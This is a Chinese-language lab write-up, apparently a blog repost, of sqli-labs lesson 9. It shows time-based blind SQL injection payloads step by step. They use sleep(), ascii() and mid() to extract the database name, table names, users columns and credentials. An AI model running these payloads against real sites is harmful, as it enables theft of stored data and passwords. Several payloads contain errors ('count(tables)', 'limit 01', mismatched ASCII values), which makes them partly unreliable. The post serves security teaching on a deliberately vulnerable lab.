注入之基于时间的注入--sqlilabs-lesson9

基于时间的注入

 当输入:and 1=1 与and 1=2 返回的界面一样时,可以用sleep()也就是基于时间的注入

第一步:输入and 1=1以及and 1=2

第二步:使用sleep()函数,可观察到刷新了10秒才返回界面

第三步:猜测库名的长度 and if((length(database())=1),1,sleep(10)) --+

所以库名字的长度为8

第四步:猜测库名 and if((ascii(mid((database()),1,1))=1),1,sleep(10)) --+

Mid(*,1,1)第一个1为位数,第二个1为长度,通过改变第一个1,从而爆破出库名

查表为:s

查表为:e

查表为:c

查表为:u

查表为:r

查表为:i

查表为:t

查表为:y

库名:security

下面的同理:

第六步:查表的数目if((select count(tables)=4),1,sleep(10)) --+

第七步:查表名If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1))=101,1,sleep(10))--+

可以查到所有的表名为:emails,referers,uagents,users

第八步:查users表的列值

if((select count(column)=3),1,sleep(10)) --+

If(ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),1,1))=105,1,sleep(5))--+

可以知道:列名为:id,username,password

第九步:查查username列以及password列的内容的长度

if((select length(username)=4),1,sleep(10)) --+根据刷新速度,可知长度为4

同理:

if((select length(password)=4),1,sleep(10)) --+根据刷新速度,可知长度为4

这里也可以使用bp爆破

第十步:查username列以及password列的内容

If((ascii(mid((select username from security.users limit 0,1),1,1))=116),1,sleep(10)) --+

If((ascii(mid((select password from security.users limit 01),1,1))=116),1,sleep(10)) --+

查表为:D

查表为:u

查表为:m

查表为:b

Username的内容为:Dumb

 查表为:D

查表为:u

查表为:m

查表为:b

内容为Dumb

原文地址:https://www.cnblogs.com/glorious1314-151/p/12238807.html